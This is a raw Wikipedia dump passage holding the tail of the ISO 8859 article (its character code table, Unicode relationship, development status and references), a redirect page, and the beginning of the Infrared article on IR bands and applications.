|Ð||[[Đ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Đ]]||[[а]]||[[ذ]]||[[Π]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ğ]]||Ð||[[ะ]]||[[Š]]||[[Ŵ]]||colspan=&quot;2&quot;|Ð
|-
!11010001!!321!!209!!D1
|Ñ||[[Ń]]||Ñ||[[Ņ]]||[[б]]||[[ر]]||[[Ρ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||Ñ||[[Ņ]]||[[ั]]||[[Ń]]||colspan=&quot;2&quot;|Ñ||[[Ń]]
|-
!11010010!!322!!210!!D2
|Ò||[[Ň]]||Ò||[[Ō]]||[[в]]||[[ز]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||Ò||[[Ō]]||[[า]]||[[Ņ]]||colspan=&quot;3&quot;|Ò
|-
!11010011!!323!!211!!D3
|colspan=&quot;3&quot;|Ó||[[Ķ]]||[[г]]||[[س]]||[[Σ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|Ó||[[ำ]]||colspan=&quot;4&quot;|Ó
|-
!11010100!!324!!212!!D4
|colspan=&quot;4&quot;|Ô||[[д]]||[[ش]]||[[Τ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|Ô||[[ิ]]||[[Ō]]||colspan=&quot;3&quot;|Ô
|-
!11010101!!325!!213!!D5
|colspan=&quot;2&quot;|[[Ő]]||[[Ġ]]||Õ||[[е]]||[[ص]]||[[Υ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|Õ||[[ี]]||colspan=&quot;4&quot;|[[Ő]]
|-
!11010110!!326!!214!!D6
|colspan=&quot;4&quot;|Ö||[[ж]]||[[ض]]||[[Φ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|Ö||[[ึ]]||colspan=&quot;4&quot;|Ö
|-
!11010111!!327!!215!!D7
|colspan=&quot;4&quot;|×||[[з]]||[[ط]]||[[Χ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||×||[[Ũ]]||[[ื]]||×||[[Ṫ]]||×||[[Ś]]
|-
!11011000!!330!!216!!D8
|Ø||[[Ř]]||[[Ĝ]]||Ø||[[и]]||[[ظ]]||[[Ψ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|Ø||[[ุ]]||[[Ų]]||colspan=&quot;2&quot;|Ø||[[Ű]]
|-
!11011001!!331!!217!!D9
|Ù||[[Ů]]||Ù||[[Ų]]||[[й]]||[[ع]]||[[Ω]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||Ù||[[Ų]]||[[ู]]||[[Ł]]||colspan=&quot;3&quot;|Ù
|-
!11011010!!332!!218!!DA
|colspan=&quot;4&quot;|Ú||[[к]]||[[غ]]||[[Ϊ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|Ú||[[ฺ]]||[[Ś]]||colspan=&quot;3&quot;|Ú
|-
!11011011!!333!!219!!DB
|Û||[[Ű]]||colspan=&quot;2&quot;|Û||[[л]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ϋ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|Û||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ū]]||colspan=&quot;3&quot;|Û
|-
!11011100!!334!!220!!DC
|colspan=&quot;4&quot;|Ü||[[м]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ά]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|Ü||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;4&quot;|Ü
|-
!11011101!!335!!221!!DD
|colspan=&quot;2&quot;|Ý||[[Ŭ]]||[[Ũ]]||[[н]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[έ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[İ]]||Ý||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ż]]||colspan=&quot;2&quot;|Ý||[[Ę]]
|-
!11011110!!336!!222!!DE
|Þ||[[Ţ]]||[[Ŝ]]||[[Ū]]||[[о]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ή]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ş]]||Þ||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[Ž]]||[[Ŷ]]||Þ||[[Ț]]
|-
!11011111!!337!!223!!DF
|colspan=&quot;4&quot;|ß||[[п]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ί]]||[[‗]]||colspan=&quot;2&quot;|ß||[[฿]]||colspan=&quot;4&quot;|ß
|-
!11100000!!340!!224!!E0
|à||[[ŕ]]||à||[[ā]]||[[р]]||[[ـ]]||[[ΰ]]||[[א]]||à||[[ā]]||[[เ]]||[[ą]]||colspan=&quot;3&quot;|à
|-
!11100001!!341!!225!!E1
|colspan=&quot;4&quot;|á||[[с]]||[[ف]]||[[α]]||[[ב]]||colspan=&quot;2&quot;|á||[[แ]]||[[į]]||colspan=&quot;3&quot;|á
|-
!11100010!!342!!226!!E2
|colspan=&quot;4&quot;|â||[[т]]||[[ق]]||[[β]]||[[ג]]||colspan=&quot;2&quot;|â||[[โ]]||[[ā]]||colspan=&quot;3&quot;|â
|-
!11100011!!343!!227!!E3
|ã||[[ă]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||ã||[[у]]||[[ك]]||[[γ]]||[[ד]]||colspan=&quot;2&quot;|ã||[[ใ]]||[[ć]]||colspan=&quot;2&quot;|ã||[[ă]]
|-
!11100100!!344!!228!!E4
|colspan=&quot;4&quot;|ä||[[ф]]||[[ل]]||[[δ]]||[[ה]]||colspan=&quot;2&quot;|ä||[[ไ]]||colspan=&quot;4&quot;|ä
|-
!11100101!!345!!229!!E5
|å||[[ĺ]]||[[ċ]]||å||[[х]]||[[م]]||[[ε]]||[[ו]]||colspan=&quot;2&quot;|å||[[ๅ]]||colspan=&quot;3&quot;|å||[[ć]]
|-
!11100110!!346!!230!!E6
|æ||[[ć]]||[[ĉ]]||æ||[[ц]]||[[ن]]||[[ζ]]||[[ז]]||colspan=&quot;2&quot;|æ||[[ๆ]]||[[ę]]||colspan=&quot;3&quot;|æ
|-
!11100111!!347!!231!!E7
|colspan=&quot;3&quot;|[[Ç]]||[[į]]||[[ч]]||[[ه]]||[[η]]||[[ח]]||[[Ç]]||[[į]]||[[็]]||[[ē]]||colspan=&quot;3&quot;|[[Ç]]
|-
!11101000!!350!!232!!E8
|[[È]]||[[č]]||[[È]]||[[č]]||[[ш]]||[[و]]||[[θ]]||[[ט]]||[[È]]||[[č]]||[[่]]||[[č]]||colspan=&quot;3&quot;|[[È]]
|-
!11101001!!351!!233!!E9
|colspan=&quot;4&quot;|[[É]]||[[щ]]||[[ى]]||[[ι]]||[[י]]||colspan=&quot;2&quot;|[[É]]||[[้]]||colspan=&quot;4&quot;|[[É]]
|-
!11101010!!352!!234!!EA
|[[Ê]]||[[ę]]||[[Ê]]||[[ę]]||[[ъ]]||[[ي]]||[[κ]]||[[ך]]||[[Ê]]||[[ę]]||[[๊]]||[[ź]]||colspan=&quot;3&quot;|[[Ê]]
|-
!11101011!!353!!235!!EB
|colspan=&quot;4&quot;|[[Ë]]||[[ы]]||[[ً]]||[[λ]]||[[כ]]||colspan=&quot;2&quot;|[[Ë]]||[[๋]]||[[ė]]||colspan=&quot;3&quot;|[[Ë]]
|-
!11101100!!354!!236!!EC
|[[Ì]]||[[ě]]||[[Ì]]||[[ė]]||[[ь]]||[[ٌ]]||[[μ]]||[[ל]]||[[Ì]]||[[ė]]||[[์]]||[[ģ]]||colspan=&quot;3&quot;|[[Ì]]
|-
!11101101!!355!!237!!ED
|colspan=&quot;4&quot;|[[Í]]||[[э]]||[[ٍ]]||[[ν]]||[[ם]]||colspan=&quot;2&quot;|[[Í]]||[[ํ]]||[[ķ]]||colspan=&quot;3&quot;|[[Í]]
|-
!11101110!!356!!238!!EE
|colspan=&quot;4&quot;|î||[[ю]]||[[َ]]||[[ξ]]||[[מ]]||colspan=&quot;2&quot;|î||[[๎]]||[[ī]]||colspan=&quot;3&quot;|î
|-
!11101111!!357!!239!!EF
|ï||[[ď]]||ï||[[ī]]||[[я]]||[[ُ]]||[[ο]]||[[ן]]||colspan=&quot;2&quot;|ï||[[๏]]||[[ļ]]||colspan=&quot;3&quot;|ï
|-
!11110000!!360!!240!!F0
|ð||[[đ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[đ]]||[[ȑ]]||[[ِ]]||[[π]]||[[נ]]||[[ğ]]||ð||[[๐]]||[[š]]||[[ŵ]]||ð||[[đ]]
|-
!11110001!!361!!241!!F1
|ñ||[[ń]]||ñ||[[ņ]]||[[ё]]||[[ّ]]||[[ρ]]||[[ס]]||ñ||[[ņ]]||[[๑]]||[[ń]]||colspan=&quot;2&quot;|ñ||[[ń]]
|-
!11110010!!362!!242!!F2
|ò||[[ň]]||ò||[[ō]]||[[ђ]]||[[ْ]]||[[ς]]||[[ע]]||ò||[[ō]]||[[๒]]||[[ņ]]||colspan=&quot;3&quot;|ò
|-
!11110011!!363!!243!!F3
|colspan=&quot;3&quot;|ó||[[ķ]]||[[ѓ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[σ]]||[[ף]]||colspan=&quot;2&quot;|ó||[[๓]]||colspan=&quot;4&quot;|ó
|-
!11110100!!364!!244!!F4
|colspan=&quot;4&quot;|ô||[[є]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[τ]]||[[פ]]||colspan=&quot;2&quot;|ô||[[๔]]||[[ō]]||colspan=&quot;3&quot;|ô
|-
!11110101!!365!!245!!F5
|colspan=&quot;2&quot;|[[ő]]||[[ġ]]||õ||[[ѕ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[υ]]||[[ץ]]||colspan=&quot;2&quot;|õ||[[๕]]||colspan=&quot;4&quot;|[[ő]]
|-
!11110110!!366!!246!!F6
|colspan=&quot;4&quot;|ö||[[і]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[φ]]||[[צ]]||colspan=&quot;2&quot;|ö||[[๖]]||colspan=&quot;4&quot;|ö
|-
!11110111!!367!!247!!F7
|colspan=&quot;4&quot;|÷||[[ї]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[χ]]||[[ק]]||÷||[[ũ]]||[[๗]]||÷||[[ṫ]]||÷||[[ś]]
|-
!11111000!!370!!248!!F8
|ø||[[ř]]||[[ĝ]]||ø||[[ј]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ψ]]||[[ר]]||colspan=&quot;2&quot;|ø||[[๘]]||[[ų]]||colspan=&quot;2&quot;|ø||[[ű]]
|-
!11111001!!371!!249!!F9
|ù||[[ů]]||ù||[[ų]]||[[љ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ω]]||[[ש]]||ù||[[ų]]||[[๙]]||[[ł]]||colspan=&quot;3&quot;|ù
|-
!11111010!!372!!250!!FA
|colspan=&quot;4&quot;|ú||[[њ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ϊ]]||[[ת]]||colspan=&quot;2&quot;|ú||[[๚]]||[[ś]]||colspan=&quot;3&quot;|ú
|-
!11111011!!373!!251!!FB
|û||[[ű]]||colspan=&quot;2&quot;|û||[[ћ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ϋ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|û||[[๛]]||[[ū]]||colspan=&quot;3&quot;|û
|-
!11111100!!374!!252!!FC
|colspan=&quot;4&quot;|ü||[[ќ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ό]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;2&quot;|ü||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||colspan=&quot;4&quot;|ü
|-
!11111101!!375!!253!!FD
|colspan=&quot;2&quot;|ý||[[ŭ]]||[[ũ]]||§||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ύ]]||style=&quot;background-color:#ffff99;&quot;|''LRM''||[[ı]]||ý||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ż]]||colspan=&quot;2&quot;|ý||[[ę]]
|-
!11111110!!376!!254!!FE
|þ||[[ţ]]||[[ŝ]]||[[ū]]||[[ў]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ώ]]||style=&quot;background-color:#ffff99;&quot;|''RLM''||[[ş]]||þ||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[ž]]||[[ŷ]]||þ||[[ț]]
|-
!11111111!!377!!255!!FF
|ÿ||colspan=&quot;3&quot;|[[˙]]||[[џ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||ÿ||[[ĸ]]||style=&quot;background-color:#ccffcc;&quot;|&amp;nbsp;||[[’]]||colspan=&quot;3&quot;|ÿ
|}

At position 0xA0 there's always the non breaking space and 0xAD is mostly the soft hyphen, which only shows at line breaks. Other empty fields are either &lt;font style=&quot;background:#ccffcc; font-style: italic;&quot;&gt;unassigned&lt;/font&gt; or the system used isn't able to display them.

There are &lt;font style=&quot;background-color:#ffff99; font-style: italic;&quot;&gt;new additions&lt;/font&gt; as ISO/IEC 8859-7:2003 and ISO/IEC 8859-8:1999 versions. LRM stands for left-to-right mark (U+200E) and RLM stands for right-to-left mark (U+200F).

== Relationship to Unicode and the UCS ==
&lt;!-- this could do with some trimming a lot of whats in here isn't really relavent to this article [[User:Plugwash|Plugwash]] 11:55, [[21 June]] [[2005]] (UTC)--&gt;
Since 1991, the Unicode Consortium has been working with ISO to develop the [[Unicode|Unicode Standard]] and [[Universal Character Set|ISO/IEC 10646: the Universal Character Set]] (UCS) in tandem. This pair of standards was created to unify the ISO 8859 character repertoire, among others, by assigning each character, initially, to a 16-bit code value, with some code values left unassigned. Over time, their models adapted to map characters to abstract numeric code points rather than fixed bit-width values, so that more code points and encoding methods could be supported.

Unicode and ISO/IEC 10646 currently assign about 100,000 characters to a code space consisting of over a million code points, and they define several standard encodings that are capable of representing every available code point. The standard encodings of Unicode and the UCS use sequences of one to four 8-bit code values ([[UTF-8]]), sequences of one or two 16-bit code values ([[UTF-16]]), or one 32-bit code value ([[UTF-32]] or [[UCS-4]]). There is also an older encoding that uses one 16-bit code value ([[UCS-2]]), capable of representing one-seventeenth of the available code points. Of these encoding forms, only UTF-8's byte sequences are in a fixed order; the others are subject to platform-dependent [[Endianness|byte ordering]] issues that may be addressed via special codes or indicated via [[out-of-band]] means.

Newer editions of ISO 8859 express characters in terms of their Unicode/UCS names and the ''U+nnnn'' notation, effectively causing each part of ISO 8859 to be a Unicode/UCS character encoding scheme that maps a very small subset of the UCS to single 8-bit bytes. The first 256 characters in Unicode and the UCS are identical to those in ISO-8859-1.

Single byte character sets including the parts of ISO 8859 and derivatives of them were favored throughout the 1990s, having the advantages of being well-established and more easily implemented in software: the equation of one byte to one character is simple and adequate for most single-language applications, and there are no combining characters or variant forms.

As the relative cost, in computing resources, of using more than one byte per character began to diminish, programming languages and operating systems added native support for Unicode alongside their system of [[code page]]s. [[Windows NT]] was quite an early adopter of Unicode. However Unicode support in [[Windows 9x]] required linking with a special compatibility layer or restricting your design to a very small subset of the Windows API discouraging its use. As Unicode-enabled operating systems became more widespread, ISO 8859 and other legacy encodings became less popular. While remnants of ISO 8859 and single-byte character models remain entrenched in many operating systems, programming languages, data storage systems, networking applications, display hardware, and end-user application software, most modern computing applications use Unicode internally, and rely on conversion tables to map to and from other encodings, when necessary.

== Development status ==
The ISO/IEC 8859 standard was maintained by ISO/IEC Joint Technical Committee 1, Subcommittee 2, Working Group 3 (ISO/IEC JTC 1/SC 2/WG 3). In June 2004, WG 3 disbanded, and maintenance duties were transferred to SC 2. The standard is not currently being updated, as the Subcommittee's only remaining [[working group]], WG 2, is concentrating on development of [[Universal character set|ISO/IEC 10646]].

== References ==
* Published versions of each part of ISO/IEC 8859 are available, for a fee, from the [http://www.iso.ch/iso/en/stdsdevelopment/tc/tclist/TechnicalCommitteeStandardsListPage.TechnicalCommitteeStandardsList?COMMID=23 ISO catalogue site] and from the [http://webstore.ansi.org/ansidocstore/find.asp?find_spec=8859 ANSI eStandards Store].

* PDF versions of the final drafts of some parts of ISO/IEC 8859 as submitted for review &amp;amp; publication by ISO/IEC JTC 1/SC 2/WG 3 are available at the [http://anubis.dkuug.dk/JTC1/SC2/WG3/ WG 3 web site]:
** [http://anubis.dkuug.dk/JTC1/SC2/WG3/docs/n411.pdf ISO/IEC 8859-1:1998] - 8-bit single-byte coded graphic character sets, Part 1: Latin alphabet No. 1 ''(draft dated [[February 12]] [[1998]], published [[April 15]] [[1998]])''
** [http://anubis.dkuug.dk/JTC1/SC2/WG3/docs/n413.pdf ISO/IEC 8859-4:1998] - 8-bit single-byte coded graphic character sets, Part 4: Latin alphabet No. 4 ''(draft dated [[February 12]] [[1998]], published [[July 1]] [[1998]])''
** [http://anubis.dkuug.dk/jtc1/sc2/open/02n3329.pdf ISO/IEC 8859-7:1999] - 8-bit single-byte coded graphic character sets, Part 7: Latin/Greek alphabet ''(draft dated [[June 10]] [[1999]]; superseded by ISO/IEC 8859-7:2003, published [[October 10]] [[2003]])''
** [http://anubis.dkuug.dk/JTC1/SC2/WG3/docs/n415.pdf ISO/IEC 8859-10:1998] - 8-bit single-byte coded graphic character sets, Part 10: Latin alphabet No. 6 ''(draft dated [[February 12]] [[1998]], published [[July 15]] [[1998]])''
** [http://anubis.dkuug.dk/jtc1/sc2/open/02n3333.pdf ISO/IEC 8859-11:1999] - 8-bit single-byte coded graphic character sets, Part 11: Latin/Thai character set ''(draft dated [[June 22]] [[1999]]; superseded by ISO/IEC 8859-11:2001, published [[15 December]] [[2001]])''
** [http://anubis.dkuug.dk/JTC1/SC2/WG3/docs/n451.pdf ISO/IEC 8859-13:1998] - 8-bit single-byte coded graphic character sets, Part 13: Latin alphabet No. 7 ''(draft dated [[April 15]] [[1998]], published [[October 15]] [[1998]])''
** [http://anubis.dkuug.dk/JTC1/SC2/WG3/docs/n404.pdf ISO/IEC 8859-15:1998] - 8-bit single-byte coded graphic character sets, Part 15: Latin alphabet No. 9 ''(draft dated [[August 1]] [[1997]]; superseded by ISO/IEC 8859-15:1999, published [[March 15]] [[1999]])''
** [http://anubis.dkuug.dk/jtc1/sc2/open/02n3389.pdf ISO/IEC 8859-16:2000] - 8-bit single-byte coded graphic character sets, Part 16: Latin alphabet No. 10 ''(draft dated [[November 15]] [[1999]]; superseded by ISO/IEC 8859-16:2001, published [[July 15]] [[2001]])''

* [[European Computer Manufacturers Association|ECMA]] standards, which in intent correspond exactly to the ISO/IEC 8859 character set standards, can be found at:
** [http://www.ecma-international.org/publications/standards/Ecma-094.htm Standard ECMA-94]: 8-Bit Single Byte Coded Graphic Character Sets - Latin Alphabets No. 1 to No. 4 ''2nd edition (June 1986)''
** [http://www.ecma-international.org/publications/standards/Ecma-113.htm Standard ECMA-113]: 8-Bit Single-Byte Coded Graphic Character Sets - Latin/Cyrillic Alphabet ''3rd edition (December 1999)''
** [http://www.ecma-international.org/publications/standards/Ecma-114.htm Standard ECMA-114]: 8-Bit Single-Byte Coded Graphic Character Sets - Latin/Arabic Alphabet ''2nd edition (December 2000)''
** [http://www.ecma-international.org/publications/standards/Ecma-118.htm Standard ECMA-118]: 8-Bit Single-Byte Coded Graphic Character Sets - Latin/Greek Alphabet ''(December 1986)''
** [http://www.ecma-international.org/publications/standards/Ecma-121.htm Standard ECMA-121]: 8-Bit Single-Byte Coded Graphic Character Sets - Latin/Hebrew Alphabet ''2nd edition (December 2000)''
** [http://www.ecma-international.org/publications/standards/Ecma-128.htm Standard ECMA-128]: 8-Bit Single-Byte Coded Graphic Character Sets - Latin Alphabet No. 5 ''2nd edition (December 1999)''
** [http://www.ecma-international.org/publications/standards/Ecma-144.htm Standard ECMA-144]: 8-Bit Single-Byte Coded Character Sets - Latin Alphabet No. 6 ''3rd edition (December 2000)''

* ISO/IEC 8859-1 to Unicode [ftp://ftp.unicode.org/Public/MAPPINGS/ISO8859 mapping tables] as plain text files are at the Unicode FTP site.

* Informal descriptions and code charts for most ISO 8859 standards are available in [http://czyborra.com/charsets/iso8859.html ISO 8859 Alphabet Soup] [http://www.lysator.liu.se/~jmo/czyborra_index.html (Mirror)]

[[Category:ISO 8859|*]]
[[Category:Character sets]]

[[br:ISO 8859]]
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[[tt:ISO 8859]]
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[[zh:ISO 8859]]</text>
    </revision>
  </page>
  <page>
    <title>Imad Mughniyeh</title>
    <id>15021</id>
    <revision>
      <id>15912536</id>
      <timestamp>2004-04-09T08:54:50Z</timestamp>
      <contributor>
        <username>Alphaxer0</username>
        <id>35478</id>
      </contributor>
      <comment>changed page to redirect  to article on Imad Mugniyah</comment>
      <text xml:space="preserve">#REDIRECT [[Imad Mugniyah]]</text>
    </revision>
  </page>
  <page>
    <title>Infrared</title>
    <id>15022</id>
    <revision>
      <id>41096006</id>
      <timestamp>2006-02-25T00:44:04Z</timestamp>
      <contributor>
        <username>Tv316</username>
        <id>523572</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.254.149.154|216.254.149.154]] to last version by Heron</comment>
      <text xml:space="preserve">[[Image:Infrared_dog.jpg|thumb|right|332px|Image of a small dog taken in mid-infrared (&quot;thermal&quot;) light (false color)]]

'''Infrared''' ('''IR''') radiation is [[electromagnetic radiation]] of a [[wavelength]] longer than that of visible [[light]], but shorter than that of [[microwave]] radiation. The name means &quot;below [[red]]&quot; (from the [[Latin]] ''infra'', &quot;below&quot;), red being the [[color]] of visible light of longest wavelength. Infrared radiation spans three orders of magnitude and has wavelengths between approximately [[1 E-7 m|750]]&amp;nbsp;[[Nanometre|nm]] and 1&amp;nbsp;[[millimetre|mm]].

===Different regions in the infrared===
IR is often subdivided into:
* near infrared '''NIR''', IR-A ''[[DIN]]'', 0.75&amp;ndash;1.4&amp;nbsp;[[micrometre|µm]] in wavelength, defined by the water absorption, and commonly used in [[fiber optic]] telecommunication because of low attenuation losses in the SiO&lt;sub&gt;2&lt;/sub&gt; glass ([[silica]]) medium.
* short wavelength (shortwave) IR '''SWIR''', IR-B ''[[DIN]]'', 1.4&amp;ndash;3&amp;nbsp;µm, water absorption increases significantly at 1450&amp;nbsp;nm
* mid wavelength IR '''MWIR''', IR-C ''[[DIN]]'', also intermediate-IR (IIR), 3&amp;ndash;8&amp;nbsp;µm
* long wavelength IR '''LWIR''', IR-C ''[[DIN]]'', 8&amp;ndash;15&amp;nbsp;µm)
* far infrared '''FIR''', 15&amp;ndash;1000&amp;nbsp;µm
 
However, these terms are not precise, and are used differently in various studies i.e. near (0.75&amp;ndash;5&amp;nbsp;µm) / mid (5&amp;ndash;30&amp;nbsp;µm) / long (30&amp;ndash;1000&amp;nbsp;µm). Especially at the telecom-wavelengths the spectrum is further subdivided into individual bands, due to limitations of detectors, amplifiers and sources. Infrared radiation is often linked to [[heat]], since objects at room [[temperature]] or above will [[spontaneous emission|emit radiation]] mostly concentrated in the mid-infrared band (see [[black body]]).
[[Image:Atmospheric transmittance infrared.gif|right|thumb|332px|Plot of atmospheric transmittance in part of the infrared region.]]
The common nomenclature is justified by the different human response to this radiation (near infrared = the red you just cannot see, far IR = thermal radiation), other definitions follow different physical mechanisms (emission peaks, vs. bands, water absorption) and the newest follow technical reasons (The common [[silicon]] detectors are sensitive to about 1050&amp;nbsp;nm, while [[indium gallium arsenide|InGaAs]] sensitivity starts around 950&amp;nbsp;nm and ends between 1700 and 2200&amp;nbsp;nm, depending on the specific configuration). Unfortunately the international standards for these specifications are not currently available.

The boundary between visible and infrared light is not precisely defined. The human [[eye]] is markedly less sensitive to red light above 700 nm wavelength, but particularly intense light (e.g., from [[laser]]s) can be detected up to approximately 780 nm. The onset of infrared is defined (according to different standards) at various values between these two wavelengths, typically at 750 nm.

===Telecommunication bands in the infrared===
Optical telecommunication in the near infrared is technically often separated to different frequency bands because of availability of light sources, transmitting /absorbing materials (fibers) and detectors.
* '''O-band''' 1260&amp;ndash;1360&amp;nbsp;nm
* '''E-band''' 1360&amp;ndash;1460&amp;nbsp;nm
* '''S-band''' 1460&amp;ndash;1530&amp;nbsp;nm
* '''C-band''' 1530&amp;ndash;1565&amp;nbsp;nm
* '''L-band''' 1565&amp;ndash;1625&amp;nbsp;nm
* '''U-band''' 1625&amp;ndash;1675&amp;nbsp;nm

==The Earth as an infrared emitter==
The [[Earth]]'s surface [[absorb]]s visible radiation from the [[sun]] and re-emits much of the energy as infrared back to the [[Earth's atmosphere|atmosphere]]. Certain gases in the atmosphere, chiefly [[water]] vapor, but also [[carbon dioxide]], [[methane]], [[nitrous oxide]], [[sulfur hexafluoride]], and [[chlorofluorocarbons]], absorb this infrared, and re-radiate it in all directions including back to Earth. Thus the [[greenhouse effect]] keeps the atmosphere and surface much warmer than if the infrared absorbers were absent from the atmosphere.

== Applications ==
===Night vision===
Infrared is used in [[night-vision]] equipment, when there is insufficient [[visible light]] to see an object. The radiation is detected and turned into an image on a screen, hotter objects showing up in different shades than cooler objects, enabling the [[police]] and military to acquire thermally significant targets, such as [[human being]]s and [[automobile]]s. ''Also see [[Forward looking infrared]]''.  IR radiation is a secondary effect of heat; it is not heat itself.  Heat itself is a measure of the translational energy of an amount of matter.  &quot;Thermal&quot; detectors do not actually detect heat directly but the difference in IR radiation from objects.  Military gunnery ranges sometimes use special materials that reflect IR radiation to simulate enemy vehicles with running engines.  The targets can be the exact same temperature as the surrounding terrain, but they emit (reflect) much more IR radiation.  Different materials emit more or less IR radiation as temperature increases or decreases, depending on the composition of the material.  

[[Smoke]] is more transparent to infrared than to visible light, so [[firefighter]]s use infrared imaging equipment when working in smoke-filled areas.

===Other imaging===
In [[infrared photography]], [[infrared filter|infrared filters]] are used to capture only the infrared spectrum. [[Digital camera]]s often use infrared [[blocker|blockers]].  Cheaper [[digital camera]]s and some [[camera phones]] which do not have appropriate filters can &quot;see&quot; infrared, appearing as a bright white colour (try pointing a TV remote at your digital camera).  This is especially pronounced when taking pictures of subjects near bright areas (such as near a lamp), where the resulting infrared interference can wash out the image.  It is also worth mentioning 'T-ray' imaging, which is imaging using far infrared or [[terahertz]] radiation.  Technically more challenging than most other infrared imaging techniques, T-ray imaging has been of considerable interest recently due to a number of new developments such as [[terahertz time-domain spectroscopy]].

===Thermography===
Infrared radiation can be used to remotely determine the temperature of objects (if the emissivity is known). This is termed [[thermography]], or in the case of very hot objects in the NIR or visible it is termed [[pyrometry]]. Thermography (thermal imaging) is mainly used in military and industrial applications but the technology is reaching the public market in the form of infrared cameras on cars due to the massively reduced production costs.

===Heating===
Infrared radiation is used in [[infrared sauna]]s to heat the sauna's occupants, and to remove ice from the wings of [[aircraft]] (de-icing). It is also gaining popularity as a method of heating asphalt pavements in place during new construction or in repair of damaged asphalt.

===Communications===
IR data transmission is also employed in short-range communication among computer peripherals and [[personal digital assistant]]s.  These devices usually conform to standards published by [[Infrared Data Association|IrDA]], the Infrared Data Association.  Remote controls and IrDA devices use infrared [[light-emitting diode]]s (LEDs) to emit infrared radiation which is focused by a plastic [[Lens (optics)|lens]] into a narrow beam.  The beam is [[modulation|modulated]], i.e. switched on and off, to encode the [[data]].  The receiver uses a [[silicon]] [[photodiode]] to convert the infrared radiation to an electric [[Current (electricity)|current]].  It responds only to the rapidly pulsing signal created by the transmitter, and filters out slowly changing infrared radiation from ambient light. Infrared communications are useful for indoor use in areas of high population density. IR does not penetrate walls and so does not interfere with other devices in adjoining rooms.

[[Free space optics|Free space optical]] communication using [[infrared laser]]s can be a relatively inexpensive way to install a Gigabit/s communications link in urban areas, compared to the cost of burying [[fibre optic]] cable.

Infrared lasers are used to provide the light for optical fibre communications systems. Infrared light with a wavelength around 1330 nm (least dispersion) or 1550 nm (best transmission) are the best choices for standard [[silica]] fibres.

Infrared is the most common way for [[remote control|remote controls]] to command appliances.

===Spectroscopy===
Infrared radiation [[spectroscopy]] is the study of the composition of (usually) [[organic compound]]s, finding out a compound's structure and composition based on the percentage transmittance of IR radiation through a sample. Different frequencies are absorbed by different stretches and bends in the [[molecular bond]]s occurring inside the sample. [[Carbon dioxide]], for example, has a strong absorption band at 4.2µm.

== History ==
===Biological systems===
The [[pit viper]] is known to have two infrared sensory pits on its head. There is controversy over the exact thermal sensitivity of this biological infrared detection system.

*Thermal Modeling of Snake Infrared Reception: Evidence for Limited Detection Range, B. S. Jones, W. F. Lynn and M. O. Stone, Journal of Theoretical Biology Vol. 209, Iss. 2, 201-211 (2001) {{doi|10.1006/jtbi.2000.2256}}
*Biological Thermal Detection: Micromechanical and Microthermal Properties of Biological Infrared Receptors, V. Gorbunov, N. Fuchigami, M. Stone, M. Grace, and V. V. Tsukruk, Biomacromolecules vol. 3 Iss. 1, 106-115 (2002). {{doi|10.1021/bm015591f}} 

===Human history===
